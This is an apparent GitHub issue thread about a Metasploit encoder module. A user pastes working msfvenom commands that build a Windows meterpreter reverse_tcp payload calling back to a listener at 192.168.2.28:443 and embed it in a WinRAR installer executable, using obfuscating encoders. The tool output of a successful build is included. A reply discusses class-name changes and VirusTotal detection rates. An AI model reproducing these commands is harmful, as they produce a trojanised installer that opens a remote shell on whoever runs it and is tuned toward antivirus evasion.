Sogeti-Pentest / Encrypter-Metasploit

85 stars 59 forks source link

Error: undefined method `datastore' for nil:NilClass #1

Open cacaocaca opened 7 years ago

cacaocaca commented 7 years ago

Hi this error happen with your encoder root@kali:~/Scrivania# msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.2.28 LPORT=443 -x /root/Scrivania/WRar540it.exe -f exe-only -e x86/bf_xor > /root/Scrivania/a.exe Error: undefined method `datastore' for nil:NilClass The exe don t work i have Linux kali 4.7.0-kali1-686-pae #1 SMP Debian 4.7.6-1kali1 (2016-10-17) i686 GNU/Linux I don t know becouse happen it if i use another encoder with the same setting he create a good exe root@kali:~/Scrivania# msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.2.28 LPORT=443 -x /root/Scrivania/WRar540it.exe -f exe-only -e x86/shikata_ga_nai > /root/Scrivania/a.exe Found 1 compatible encoders Attempting to encode payload with 1 iterations of x86/shikata_ga_nai x86/shikata_ga_nai succeeded with size 360 (iteration=0) x86/shikata_ga_nai chosen with final size 360 Payload size: 360 bytes Final size of exe-only file: 2154928 bytes root@kali:~/Scrivania#

r00t-3xp10it commented 7 years ago


Metasploit name class have changed since last year ..

This is the class name used in this module: class name

This is the new class name: class name

This is the screenshot taken in 22-jun-2017 class name

and this its the virustotal detection rate: https://www.virustotal.com/en/file/302832a4ddeb71124522005b2d18449383ca15042b330d6b7428a19319fab0e8/analysis/1498146282/

P.S. encoders are not ment to evade AV detection ...